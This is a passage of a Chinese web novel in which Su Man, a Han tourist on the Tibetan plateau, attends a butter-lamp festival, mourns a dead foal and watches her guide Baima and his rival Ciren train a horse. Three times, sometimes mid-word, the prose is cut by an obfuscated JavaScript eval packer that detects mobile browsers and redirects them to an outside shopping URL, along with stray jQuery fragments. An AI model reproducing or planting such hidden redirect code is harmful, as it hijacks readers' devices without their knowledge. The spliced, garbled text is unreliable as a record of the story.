“对的。晚上会全部点燃,非常厉害的。晚上的人更多。好多都晚上来看。” “哦。”苏曼很期待晚上所有酥油灯点燃的壮观景象。 白玛带着苏曼买了一百个小酥油灯,一小箱正好就是一百个,就像汉地的香薰一样,只不过里面放的不是蜡,而是酥油,闻着香香的。 燃灯时长有两个小时的,和四个小时的,苏曼买了四个小时的。 她想她的灯燃的久些。她想能祈愿获得的祝福更多一些。 “姐姐,其实多少都没关系的。最主要是你的心。你的心有了,多的少的,都是一样的。” 苏曼不太懂这个意思,他们做供养,都是追求越多越好,若是赚钱赚的多了,自然就会供养的多一些。但白玛却说不是。 “什么意思啊?” “一个有钱的老板,捐了好多的钱,但是他如果有一点点的心疼,或者说他是想换个什么,那就不行,一点作用都没有。还不如你只供一个苹果,但是心里是恭恭敬敬的,不求回报的功德大哦!” 年纪比她小的白玛,竟然有这样的境界,这让苏曼十分的吃惊。 难道这就是他们这个民族天生的悟性吗?如果这样说,那他们虽然贫苦,但是他们的精神世界比我们富裕啊。 生活的贫苦是苦,还是精神的贫苦是苦。 苏曼想到了自己,一直困在惧怕、怨恨、逃避与折磨当中。这是不是牢笼,精神的牢笼。 “白玛,谢谢你告诉我这些。你真棒。姐姐赞叹你!” 苏曼真心的向白玛竖起了大拇指。 白玛不好意思的捋了捋额前的头发,道:“没什么的,姐姐,我们这边的人,从小都知道这个道理,这不算什么的。” “那也很厉害啊。我们就没有这样的境界。我们在城市里天天就是赚钱,很多人都不会去想这么深的事情。我也是一样,以后要多向你学习。” “嘿嘿,好的,姐姐。” 两种文化的碰撞,竟然这么有意思。苏曼觉得今天她没有白来。 广场上的酥油灯被整齐的摆放成各种各种的吉祥图形,满满的铺在了地面上,特别震撼。 还有人在继续不断的往里加,一直往外扩,苏曼也走上前去,将她那一百个酥油灯沿着路线一一虔诚的摆放。心里念着,愿一切都好。 “姐姐,你看,曲珍也来了。” 曲珍修长的身影出现在不远处,她弯着腰也在一个个的摆放,旁边还跟着一个不认识的小伙子,帮她递着。 “今天应该能碰到好多熟人吧?” “是的呢,好多约会的男的女的也会一起来,今天算是个难得的机会呢。” 苏曼真是头一次听说,法会是男女约会的一个机会,这种做法,或许只是在传统保守的高原上才有的吧。 毕竟他们男女一同走在大街上,都会害羞,都会害怕遇见熟人。 而来寺庙参加活动,是最好的可以光明正大的站在一起的机会。 怪不得扎西和次旦的约会,总是在牧场上。 22. 第22章 “白玛,那你每次跟我一起,不害羞吗?”苏曼想起这个问题, “啊?你一看就是个汉族的,一看就是来旅游的,我是你的向导嘛,这有什么害羞的。你又不是我女朋友。” 白玛直呼呼的就说了出来,说完才开始害羞。 “噢,原来是这样。” 苏曼站起身,又望了望曲珍那边。 “那个男的不会是曲珍的家里人吧?” 曲珍不是喜欢次仁吗?按说应该不会跟别的男孩子约会,所以苏曼猜测可能是亲戚什么的一起过来的。并不是白玛说的约会什么的。 “不是。她家兄弟我都认识。那个男的我不认识,应该是县上的,我没见过。” 正在白玛和苏曼一直打量曲珍的时候,白玛的肩膀被人拍了一下。 “扎西?你现在才来。” 扎西和次仁,一起站在白玛和苏曼的身后。 “对,我刚从牧场上过来,次旦今天走不开。刚在门口碰见次仁了呢。” 次仁朝白玛点点头,又看了看苏曼。自图书馆那次,次仁便再也没有来找过苏曼了。 苏曼有些尴尬,他的表白和扎西的表白,感觉就是有些不同。 他好像比扎西要认真一些,他长的就很认真,而且总有一股莫名的吸引力,能牵动你的情绪,就像上次那样。 次仁是个危险人物,应该离他远一些。 白玛看见次仁是不高兴的,他上次惹的姐姐不高兴了,他还废了劲的去哄了姐姐,这几日好不容易缓过来了,这家伙又出现了。简直是阴魂不散。 “你们摆完了没有?我们要进去了。”白玛想带着苏曼赶紧甩掉他们两个。 “我们不摆。”次仁仰着头,似乎他不是来参加燃灯节的。 要不是扎西在,白玛真想扭头就走。 “那好,姐姐,你跟扎西在这等一下,我跟次仁有话说。” 扎西一头雾水,苏曼心里忐忑,不知道白玛黑下脸来对次仁,是不是因为自己。 苏曼怯怯的说道:“好的。” 扎西看了一眼苏曼,没说什么。 白玛大步向前,朝门口走去,次仁顿了一会儿,也跟在了后面。 两个高个子男孩,走出院门,或许是太过显眼,一眼就被远处的曲珍看见了。 白玛找了旁边的一块空地,刚准备点烟,又赶紧收了回来,寺庙门口不可以抽烟。 次仁直接就问:“怎么了?” 白玛:“你上次是不是去找过姐姐?” 次仁:“对啊。” 白玛:“那你怎么惹的她不高兴了。” 次仁:“不高兴了?” 白玛:“是伤心。” ...... 次仁回忆着那天,他情绪低落,他还表了白,说要追苏曼。会不会是因为这个。但是,白玛怎么会知道。 他淡淡的道:“她没告诉你吗?” “什么?”白玛抬起眉,盯着次仁,等着他说他们之间发生的事情,说一些苏曼没有告诉他的事情。 次仁双手插进裤子口袋,好像明白了一些。 “没什么。” “......” 次仁的视线望着远处的县城,白玛不知道他到底在想什么。 “你以后不要去找她,姐姐不会谈恋爱的。” 白玛对次仁不放心,他怕次仁只是因为她是汉族女孩才去招惹的,并不是真心喜欢。 “这跟你也没啥关系,你不要管那么宽。” 白玛对这方面确实也不太懂,但是他看到上次苏曼的情绪低落,好像次仁并不是个能让姐姐开心的人。他只会让姐姐伤心。 “次仁,你是比我大几岁,但是我还是要跟你说,你不要把你原来那一套用在姐姐身上,你不要让她伤心。她真的是个好姐姐。” 次仁看了看白玛认真的样子,扯起嘴角笑了笑: “你一个小孩子,那么紧张干嘛,她又不是你什么人。” 白玛舔了舔唇,掩饰的转过身假装张望。 “曲珍?” 曲珍站在他俩的身后。 白玛紧张的看着次仁。他不是紧张次仁,他是紧张苏曼。曲珍可能比德西还要难搞。 “你要追那个汉族的?” 次仁转过脸,收住了脸上的表情。 “没有,我们就是随便聊聊。”白玛赶紧安抚曲珍。 “那个,刚才跟你一起来的那个男的是谁啊?我没见过呢?”白玛又继续转移话题。 曲珍站在次仁跟前,次仁低垂着眼瞥了一眼曲珍。 曲珍开始紧张:“县上的,我没想让他来。” 曲珍的追求者,之一。 “行,你们聊,我先进去了。” 次仁将手从裤兜里拿出,朝着白玛摆摆手,自己径直走了进去,留曲珍站在原地。 白玛左右看了看,还是决定去追次仁,也小跑着进了院子。他生怕一会儿次仁又对苏曼做出些什么来。 扎西见曲珍出去才没多久,次仁和白玛就先后回来了,次仁先回来的,这很符合他的做法。 苏曼长呼一口气,今天怎么又是一个修罗场。还有跟在曲珍身后的那个男生,似乎也不太受曲珍待见。 “扎西,我们分开走吧。我带着姐姐进去,你们两个走你们的。”酥油灯都摆完了,白玛开始安排。 “哎!干嘛要分开啊,不分开也行啊。” 扎西也想跟着白玛和苏曼一起。但是白玛好像是想牺牲他,让他带着次仁走,他不欢迎次仁。 扎西琢磨着,白玛为什么这么讨厌次仁,不让他跟姐姐一起。 “苏曼,我们一起没问题吧?没必要分开吧?”次仁直接问向苏曼,那双浓密的眼睛又直勾勾的看着她。 他竟然直接喊“苏曼”,一旁的白玛转头盯着次仁,又扶了扶肩上的苏曼的包。 “啊......没问题,一起也行。”苏曼看了看门口,曲珍在跟那个男的说些什么,然后那个男的摸摸后脑勺,好像在跟曲珍告别。 那个男的要走了。曲珍要过来了。 苏曼吓的朝白玛身边缩了缩:“曲珍过来了。” 三个男人同时看向了曲珍那边。 白玛拽着苏曼的衣服,给次仁扔下一句话:“你自己搞定啊。我们先走了。” 扎西赶紧跟了上去,次仁楞了一秒,也跟着一起走。 最后,五个人一起朝拜完了整座寺庙。白玛陪着苏曼走在前面,扎西夹在中间隔离,曲珍跟在次仁的身后。 次仁从未理过她,她就那么一直跟着。 苏曼实在看不过去了,叫白玛去传话,别这样对曲珍,大家都是朋友,至少面上要态度好一点嘛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645157|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 次仁听完看了眼苏曼。高傲的曲珍只要站在次仁身边,她的高傲,就会被次仁折断。 “姐姐,你不要理次仁,你看他对曲珍多不好。”白玛悄声跟苏曼说, “你对德西不也是这个样子嘛。” 苏曼笑着怼白玛,不喜欢嘛,就都是这样的。就像苏曼一直拒绝男生,也是这样冷酷的啊。 白玛被苏曼这么一说,挠挠头,他一下子理解次仁了,原来大家都是一样的,不喜欢就会态度不好,就会伤害女生。 嗯。原来次仁并不是坏,他只是不喜欢。 白玛看着曲珍,又想到德西,原来喜欢一个人却得不到回应,是会叫人觉得可怜的。 燃灯节就这么结束了。 传说供灯能增长智慧,增加福报,希望世间人都不会为情所困。 这样看,苏曼也挺好的。斩断情丝,是不是就会烦恼少一些。 可是,苏曼在白玛眼里,依旧是一个可怜人,一个孤独的可怜人。 - 走出科尔寺的大门,曲珍开了车子上来,问要不要一起,带他们下山。次仁是骑摩托车上来的,只有扎西和白玛他们三个是步行上来。 所以,次仁自己骑着摩托车走了。曲珍有些失望。 “曲珍,你干嘛非要喜欢次仁啊?追你的人那么多。” 扎西为漂亮的曲珍打抱不平。他不能理解,人为什么非要在一棵树上吊死。 “是个人追你你都要啊?”曲珍娴熟的倒车,打着方向盘,她毫不犹豫的怼了扎西。 “呃......”你别说,说不定扎西还真是。他信奉的就是不在一棵树上吊死。但是正因为他的潇洒,所以他才不会没有女朋友。 “白玛,你是帅哥,你来说,你是会选一个喜欢自己的,还是自己喜欢的。” 曲珍问向白玛,她觉得按扎西的条件,是没有自己思想的。 白玛和扎西坐在后排,白玛一只手伸向车外,手上夹着烟。 “我选自己喜欢的。曲珍,我支持你,你加油。” 苏曼从反光镜里看看白玛,他自己拒绝德西,都拒绝的那么干脆,现在反倒来支持曲珍继续追次仁,白玛真是好有意思的态度。 “白玛,那你有没有喜欢的人啊?”曲珍继续问, 扎西竖起耳朵两眼聚神。 “没有吧。我还没想过这些。” 白玛将烟头弹了出去,窗外的风吹着他的脸,车子下完长坡,拐过去就是318国道了。 白玛忽然想起什么,向前伸过头去对曲珍说: “对了。曲珍,我们姐姐是不谈恋爱的,你可别误会姐姐了哈!” 曲珍转过头看看苏曼,苏曼对她施以一个肯定的点头。 曲珍笑了笑道:“我哪有误会,是次仁嘛,我总看见你们在一起。” “哎呀,巧合嘛。就上次我们庆功宴的时候一起认识的嘛。这有什么的。” 扎西及时的补充,苏曼终于松下一口气。这个误会终于解释清楚了。还是白玛想的周到。 苏曼他们下车的时候,曲珍的心情明显好了许多。甚至热情的邀请苏曼去撒尼乡玩,她开车去都行,最好是能叫上次仁一起。 这个提议很好,但是白玛和苏曼都各怀心事,都不想叫上次仁。 “没事,以后,等扎西从兰城回来再说。” 23. 第23章 晚上的时候,白玛的母马终于生了,生的很顺利,但是小马的脖子却是有些歪的,站起来有些困难,走路的时候也是歪着脑袋踉踉跄跄的。 这叫他有些担心。 小马一直跟着母马后面贴贴,母马细心的一遍一遍给小马舔着毛,白玛希望小马能尽快健康起来,多养几天应该就能好了。 白玛来酒店接苏曼去看他的小马,她一直想看看刚出生的小马是什么样子。 “可是姐姐,小马有些不太好,它的脑袋是歪的。” 白玛一边担心,一边给苏曼打预防针。 “啊?那它还能好起来吗?是不是太久没生下来,在母马肚子里卡的?” “嗯,有可能。可能是长的太大了,所以才卡住了脖子。” 本来生小马是一件开心的事情,但是今年的这匹马,却不太乐观。 “这匹母马我准备卖掉了,它可能不太好。去年它生的那匹小马也死掉了,不过是被狼吃掉的。” “不是吧?” 母马的身体不好,生下来的小马仔就有可能身体也不好,而且存活率低的话那就是白养了。 手上的坏牌,就要打出去。所以白玛想把这匹母马便宜处理掉。 “嗯。不过去年生的那匹小马不是在我手上死掉的,是我把它送给三舅舅了,然后他们没有照顾好,在山上被狼吃掉了。 我们家的小马一般都是养在马房里,但是他们自己没有马房,就放到山上去散养了。” 白玛继续说道:“小马跑不快,就容易被狼吃掉。” “天哪!太可怕了。” 苏曼想象着小马在山上,无助的被野狼叼住,一口一口、活生生的被吃掉的情景,心里万分难受了起来。 “真是很残酷啊,小马太可怜了。” “没办法,野外就是这样的,都要生存嘛。” 野狼也要生存。 可是苏曼还是觉得很残酷,小马很可怜。她不敢想象那个画面。 “你要看视频吗?我们当时找到小马的时候的视频。” “啊!不要不要!我不要看!!” 苏曼疯狂拒绝!她最害怕看一些残忍的片段,哪怕是网上一些可怜的小动物,她都会迅速划走,不敢看,也不想看。她逃避那种心痛的感觉。无法承受。 白玛看着苏曼惊吓的样子:“你真胆小。” “不是胆小,我胆子不小的。我只是看不得这些。” 苏曼只是不想承受这种心里难受的滋味。 “嗯。所以今年我妈妈直接把那匹怀孕的母马送给三舅舅了嘛。不过他还是放在山上养的。有母马妈妈带着小马一起,应该会好一些。” 山上。听白玛说着山上。山上真是个残酷的地方。 那里有免费的肥沃的草地,但是也有凶险的野狼。 - 再次来到白玛家里,苏曼熟悉了很多,降措还会跟她打招呼,用比白玛还要标准的汉话跟苏曼聊天。 “你弟弟汉话比你标准啊!” 白玛笑着说:“是,他学习也好。他比我聪明。我二舅舅说将来要送他去做阿克呢。不过我想让他出去念大学。” 念大学,和进寺庙做阿克。从经济角度来说,当然是做阿克更好。但是白玛希望降措的聪明可以多用在文化知识上,毕竟他自己没读到多少书。 他也想让降措去看看外面的世界。 “我大舅舅的儿子,仁真,跟我年纪差不多,他挖虫草可厉害了。去年去做阿克了。今年初我买马还找他借了三万块钱呢。不过他说不着急还,什么时候还都可以。” 白玛虽然有这种想法,但是作为阿克的二舅舅,是想好好培养一下降措的,想带着他和他一样去做阿克。 也许,到时候还是会听二舅舅的吧。又或许,长大后的降措,这么聪明的降措,会有他自己的想法。 “我妹妹就不行,不爱学习,估计上完小学就不会再上了吧,她自己也不想上了。我姑姑说,以后可以让她坐家,女孩子照顾妈妈总是要比男孩子好一些的。” 苏曼听着白玛安排着弟弟妹妹的未来,就像一个父亲一样爱着弟弟妹妹。他们家虽然没有了父亲,但是家人们之间的温暖,却从来没有缺席过。 “要是你妹妹坐家,那你呢?” 坐家意味着继承所有的财产,找个老公嫁进来,一起打理这个家,一起照顾白玛妈妈。那白玛是不是就要嫁出去? “我找个人嫁了呗。看谁要我。哈哈!” 白玛害羞的笑了起来,又露出了他的一口白牙,他从未想过这些,但是却好像坦然的接受一切事情。 “德西要你啊!哈哈!” 苏曼迅速想到了德西。他们家如此的看中白玛,若是白玛嫁到她们家去,德西爸爸可是要高兴坏了呢!家里多了一个如此能干的壮丁。 “那不是。我嫁也要嫁一个自己喜欢的啊!肯定要选一下的啊。” 这到也是。何况,白玛这么优秀,他当然有选择的资本。 “姐姐,晚上扎西他们就要去兰城了,我去县上送一下他,你要一起来吗?” “今天就走啊?” “那还等啥?” 苏曼看着白玛清澈的眼睛,眼里真是干净。 扎西私奔的钱,都是他借的。他去送他,是应该的。 “啊,好啊。什么时候走啊?” “我们县上去兰城的车,都是半夜两三点钟开,大概上午就能到了。你能起的来吗?我们是不睡了的,晚上在车站那里找车,然后等司机说什么时候走,就什么时候走。” 白玛说的是黑车。 一辆车每个人二百五十元左右,副驾驶的位置可能要贵个二十元,坐满了就走。 “嗯......”苏曼想了想,要不要去体验一把高原上的私奔。但是半夜天气特别冷,她还真不知道自己起不起的来。 “算了。我去送吧。你别起来了,就是很普通的找个车子坐上去就走了,其实也没什么好看的。” 白玛和扎西是兄弟,他去送也自然,苏曼跟着去,好像有些奇怪,她又不是白玛的女朋友,为什么要时时刻刻的跟着他。 “那好吧。那我就睡觉了。晚上估计是有点起不来。” “是的呢。有一次我就睡过头了,到了四点钟司机师傅给我打电话我都没醒,还被兄弟说了一通,熬不住了,睡过去了嘛。” 白玛笑着跟苏曼讲他曾经的糗事,降措一直拉着他的手,吃着手里的雪糕,是刚才在村子里的小卖部,白玛买回来的。 每次从县上回来,他都会给降措带一塑料袋子零食。有雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660391|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糕、饮料,也有辣条和火腿肠。 今天白玛妈妈不在家,又去大舅舅家里去了。白玛也比那天更自在些,带着苏曼在马房里看了半天,给她介绍了每一匹马的性格,以及来历。 当然,苏曼最关心的总是在问,多少钱买回来的,如果卖出去能卖多少钱。 但是她觉得白玛又很奇怪,有一匹灰白色的马,他说不卖,舍不得卖,给再多钱也不卖。 苏曼理解为,或许是还没新鲜够,或许是还没拿到最佳出价,又或许是什么其他原因,她是不太相信有长久的感情的。 那匹灰白色的马,名字叫“灰马”。到真是一个简单直接的名字。 灰马是表哥送给他的,但是送给他的时候,是一匹很普通的小马,养了两三年,现在是一匹特别精神漂亮、而且比赛时还拿过奖的马,价格也去到了五六万元,但是这个价格,白玛一直还是说不卖的。 没有成本的一匹马,白白得五六万元,可是他都不愿意。 钱,果然并不是他们最在乎的东西。 白玛妈妈发来语音,问苏曼晚上在不在家里吃饭,如果在家吃饭的话,她就早些回来准备。 苏曼连忙拒绝,她找了个借口:“晚上不是要去送扎西吗?我们可以早点回去县里。” “妈妈还说晚上我们吃火锅呢,她去小卖部买食材,说怕你吃不惯高原上的食物。” 白玛端来一个老式搪瓷盆,盆底有大牡丹花的那种。他从炉子上拿下水壶,往盆里倒热水。 “来,姐姐,你洗洗手。” 今天苏曼摸过白玛的每一匹马,每一匹都那么可爱,除了刚买回来的那匹小黑。 等苏曼洗完,降措又给白玛舀了一勺冷水,去门口对着地面洗手去了。 苏曼还是坚持要走,她不想再麻烦白玛妈妈辛苦了。 其实她看他们平时自己吃的都特别简单,桌上摆的都是素炒土豆,和一盘白菜,连肉都没见到。 “行,那我送你先回酒店。” “嗯,要不晚上我们四个一起在县上吃个火锅吧,我请。就当给扎西他们送行了。” 白玛一听,高兴了起来:“好的,姐姐。” 收拾收拾,白玛就骑上了摩托车,苏曼自然的抓住他的外套,和白玛在一起,她总是感觉很踏实。 车子驰骋在这广阔的天地间,追着夕阳一路开往县城。 扎西和次旦的行李也就是一个双肩包和一个拉杆箱。拉杆箱是次旦偷偷从家里拿出来的,扎西的双肩包里就只有一套衣服。 四个人吃着火锅,扎西和次旦异常的兴奋,他们好像不是去私奔,而是去旅游。 白玛看着他们俩,真心的替他们高兴。因为等他们归来,他们的婚事,就会被家里人认可了。 “你们两个在外面不要乱来哦。在兰城不要丢我们高原人的脸。” 白玛像个老大哥一样叮嘱着扎西,扎西笑的嘴都合不拢,他对这趟“旅程”超级期待。 “不会的。放心吧,我这第一次去兰城,哪有那么大的胆子。” “第一次?”苏曼觉得有些不可思议,她望望白玛。 “对啊!我也没去过呢。我连高原都没走出去过。” 白玛从出生到现在,一次都没出过高原,最远估计也就是去林孜县买马。 24. 第24章 一大早白玛就发微信过来,说小马昨夜死了,没有撑过去,死在了马房里。 白玛把小马带到山上埋了,母马疯了似的在院子里跑,又跑进马房,到处在找它的孩子。 “那它知道它的孩子死了吗?” “知道的,小马昨晚死的,它们一起在马房里,母马肯定知道的。但是它还是会找,可能是到处在找小马留下来的味道吧。” 苏曼很伤心,昨天才听说三舅舅的小马被狼吃掉的事,今天才出生一天的小马就死掉了。 生命真的是脆弱,说没就没了,也不知道哪天会轮到谁。 白玛在村子里料理完小马的后事,又去请村上的一位阿克给小马念了经,路过德西家的时候,德西喊住了白玛。 “白玛,你过来一下。” “我忙着呢。我家小马死了。”白玛想赶紧走。 “那个汉族女的是不是到你家来了?”德西不死心的追问,昨天苏曼第二次来白玛家,她才知道这件事。 是白玛的表嫂告诉她的,表嫂是从县上嫁到村子里来的,算是下嫁,已经生了两个孩子了。 洛绒表哥不用坐家,结婚后从家里分出来,没有自己的房子,也没有钱租房,两个人还住了好长一段时间的马房。 因为没有牛也没有马,所以洛绒表嫂基本也不用做事。 洛绒表哥后来学了做瓦匠,慢慢的每天收入能有个四百,虽然不稳定,活也不是每天都有,但是整体看来收入还是可观的。 现在的他们,在村上过的还算是不错。 今年他们还花八万块买了村里一家人的老房子,就在白玛家的后面。 所以,经常坐在屋前晒太阳的表嫂,把白玛家里看的真真的。 越闲的人,越爱到处聊天、传话,洛绒表嫂,算是村上嘴巴最松的那个人了。 白玛一猜就知道是洛绒表嫂说的,白玛妈妈平时也说过洛绒表嫂好多次了,洛绒表嫂就是管不住嘴。 “对的呢。又不是第一次来。” 白玛本不想理她,但是都是同村的人,德西爸爸对他又很好,他只好这样回答,希望能让她死心。 德西哀怨的看着白玛从她屋前走过,只扔下这一句话就走了。 白玛高大的背影叫她心痛,她多么希望眼前的这个男人是属于她的,是爱她的。 小马死了,日子还要照常的过,白玛虽然有些难受,但是还是收拾心情给母马修了个马蹄。 他拿出工具箱,穿上皮围裙,找了个凳子坐在那里,抬着母马的腿,一刀一刀的给母马铲去蹄子的外圈。 修马蹄是白玛觉得最解压的事情,其次便是骑马。 下午白玛想去骑马,苏曼来的这段时间,他都没有好好训过马了,他准备喊上大舅舅家的孩子呷波,帮他牵马绳。 午饭过后,次仁骑着摩托车来到白玛家。 “兄弟,跟你说个事,你那个向导我帮你做吧。钱还你拿,我不要钱。” 次仁提出这个荒唐的建议,叫白玛觉得可笑。 “你是闲的没事做吗?” 白玛正弯着腰清扫院子里切下来的碎马蹄,他直起身看着次仁,眼里有些敌意。 “对。”次仁扫视一圈院子,白玛今天没有去陪苏曼。 “不用了。姐姐不喜欢你,你别费劲了。” 白玛决定一会儿去接上苏曼,来看他一起训马。次仁的主动,让他有了危及感。 次仁轻轻一笑:“那我走了。” 他知道白玛不会答应,虽然白玛口口声声说苏曼只是他的客人,但是他比谁都看的紧。 “你去哪?” “你这么紧张干嘛?”次仁嗤笑, 白玛脸刷的红了,对啊,他怎么这么紧张。 “你别去找她就行。我一会儿就去接她,省的你扑空。” 说着白玛掏出手机,直接给苏曼发了个微信。 - 等白玛赶到酒店门口,次仁已经和苏曼站在楼下了,他一脸惊愕。 “你来这做什么?” “陪姐姐啊!” 次仁一脸得逞的模样,学着白玛喊姐姐。你能怎么样,姐姐就是来旅游的,需要人陪的。何况,他还不收费。 “啊,那个,白玛,我跟他说了,我一会儿去看你训马,次仁说他也要去学习学习。” 苏曼说完抿着嘴,无奈的看着白玛。 草原那么大,谁想去都可以。 “你有马吗?”白玛仰着头,看着次仁。 “我去看你就行了,我不用马。跟你学习。” 白玛跨上摩托车,朝苏曼喊道:“姐姐,上车!” 两辆摩托车朝着村子边的那块大草原驰去。 大舅舅的儿子呷波把两匹马牵了过来,其中一匹正是上次去林孜县买的那匹黑马。 次仁看见黑马眼睛瞬间就亮了,他早就听说白玛买了一匹宝马,但是碍于面子,一直没有过来看,今天正好,一饱眼福。 他想骑,强烈的想驯服它。 白玛给苏曼铺了个地垫,地垫上放了几瓶饮料,让苏曼坐在一边,看他如何训马。 呷波牵着马绳站在中间作为锚点,白玛骑在马上,围着中间的锚点不停的转圈圈。 这匹马比较温顺,只是姿势不好看,白玛需要多让它跑跑,在跑的过程中拉着缰绳,调整头的角度。 苏曼看不太懂,只看见他在围着呷波转圈圈,转了几圈后,呷波再放开绳子,白玛就骑着马蹿了出去,一路跑,一路跑,然后再骑回来。 而次仁,一直盯着旁边的黑马。小黑被栓在旁边的地钉上,也在围着地钉绕圈圈,不停的踢后腿,抬前腿,浑身有劲无处使的样子。 宝马就是宝马。 “次仁,为什么马要转圈圈啊?”苏曼好奇, “先让它转几圈,稳定下来再放手去跑嘛。” “哦......” 原来这就是训马,调伏它,再让它顺着那个情绪去跑,直到马儿的情绪一直都稳定了,那这匹马也就被驯服了。 至于跑步的姿势,马头的角度美感什么的,那就是在跑的过程中通过缰绳来调教了。最主要还是马的性子,和动作的肌肉记忆。 苏曼看着次仁的手,一点都不像是骑马的手,和白玛粗糙的手相比,简直就是天壤之别。 “次仁,你的手为什么没有茧子啊?” “习惯了就没有了。只会硬。” 说着次仁伸出手,用力的抓了抓,又伸张开来。确实,骨节分明,但是一看就是非常有力。 “姐姐,你不适合在草原上生活,如果和你在一起,还是更适合汉地。” 莫名其妙的次仁说出这样的话,他到底在想什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666752|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 “什么?我也没说要在草原上生活啊。”苏曼又感到不自在了。 “我只是说我。” 说着次仁又看向了白玛的那匹黑马,冲着白玛喊了一声:“你训训它嘛!” 次仁等不及了。 白玛骑着马过来,看了看苏曼:“你去嘛!给你骑。” 他想陪苏曼一会儿。 次仁仰着头,看着马上的白玛:“真的?” “那有什么假的,你都来了,我看看你怎么训它。” 次仁怎么说也是十里八乡的训马高手,白玛早有耳闻,只是不在一个乡里,他们从来没有机会交流这些,今天是个难得的好机会。 而且,白玛也想让小黑给次仁一点颜色看看。 次仁看了看小黑,说道:“你来帮我牵,呷波不行。” 白玛的算盘还是被次仁看穿了,而且,小黑那么烈,呷波确实控制不住。拉马也是个体力活。 说着白玛只好翻身下马,将马绳交给呷波,跟着次仁走向了小黑。 小黑一个抬腿长啸,跃跃欲试。 “嚯!真是好马。”次仁道, 白玛压低身子,扎稳马步,控住小黑。小黑不停的跑着,白玛拉紧缰绳,次仁贴着小黑的身子一侧,跟着跑了起来,最后一个跳跃跨了上去,再伏低身子,调整好,坐直了起来。 “哇塞!” 苏曼第一次见这样上马,趁着马儿不注意,在跑动的过程中,就上去了,这样是不是就算是一种降服呢? 马儿会不会想:我输了,还是被你骑上来了。 倔强不服输的小黑开始不停的跳跃,不停的上扬抬腿,前腿后腿一起来,似乎誓要将次仁从它的背上甩下来。 而次仁紧紧的拉着缰绳,夹紧马腹,无论小黑做什么样激烈的动作,他都死死的骑在小黑的马背上,怎么甩都甩不掉他。 白玛远远拉着另一根控住小黑不跑远的缰绳,直到次仁示意,他才一甩将缰绳扔掉,次仁骑着小黑就冲了出去。 小黑跑的飞快,次仁的身子后仰,腰却稳稳的扎在马背上,侧着脸一路奔前。 苏曼又一次见证了那可怕的腰腹力量。 “次仁骑的真好。”白玛也由衷的赞叹。 “那你们两个,谁骑的更好一些?”苏曼笑嘻嘻的看着白玛问道, 白玛舔了舔唇,眼神里流露出得意与自信:“那可不好说,我肯定不会输他。” “差不多吧。”白玛最后还是谦虚的补了一句。 这大概是白玛妈妈从小的教育吧。 若是扎西,有这样的技术,他肯定会觉得自己是马背上最牛的汉子了。 苏曼看着那望不到头的草原,夏季一片的绿色,与天边的蓝白色相连,就像大地分成了两半,一半在天上,一半在地上,地上点缀着他们四个人的人影,如蚂蚁般渺小,甚至都不如。 白玛也坐上了地垫,与苏曼挤了一挤,随手拿起一瓶喜虎拧开,仰着脖子灌了好几口,那喉结上下涌动着,苏曼再也不觉得身体的接触是一件难熬的事情了。 他淡淡通过空气透过来的体温,竟带着夏季的温暖,传递到苏曼的身上。 苏曼看着白玛,他如大地,如坚石,稳定,却又包容着一切。 像他妈妈一样,默默的为身边的人付出,带着他哪怕是微弱的温度。 25. 第25章 最后,变成了次仁和白玛一起,合力驯服小黑。 苏曼乐呵呵的看着两个人,四条大长腿,围着小黑不停的捣动着,累死累活的样子,真是有意思。 他们两个乐此不疲,一遍又一遍的跨上小黑的马背。 呷波在一旁加油鼓劲,小伙子也是爱马的很,他超级羡慕白玛的厉害,甚至说白玛就是他的偶像。 天边的云彩慢慢变红,慢慢压低,整个大地变成红彤彤的一片,坐在地垫上的苏曼,吹着凉凉的夏风,望着如诗如画般的美景,真是羡慕他们这些生长在高原上的人,远离尘世的喧嚣,就这样生活在这个世外桃源的世界里。 没有见过奢靡,便也不会觉得自己困苦。 这是一片没有被污染的清净世界,他们每个人都是幸福的。 最后,白玛和次仁的手也时不时的握在了一起,敌意逐渐散开,流动在两人之间的,多了一份惺惺相惜,英雄爱英雄的感情。 “次仁,没事你就过来嘛!”白玛邀请他过来和他一起骑马。 在村子里,白玛没有什么对手,大家也都是跟在他的屁股后面骑着玩。而跟次仁在一起,他们能有更多的共同语言。 次仁摆摆手:“我们家的马也不行,有空你也过来帮我骑一下嘛!” 次仁家有一百多匹马,他爸爸还请了专门的人帮他们喂养和训马。次仁邀请白玛去他家骑马。 这对白玛来说,吸引力很大。只要是马,他都想看看。 而次仁家,肯定有他没见过的好马。 “过两天嘛,过两天我带姐姐去看看你家的马场。” 次仁家的马场很大,就在离县城不远的地方。 还有专门的独立马厩,主要是他的爸爸和哥哥们在打理,那可是白玛家的马房所不能比的。 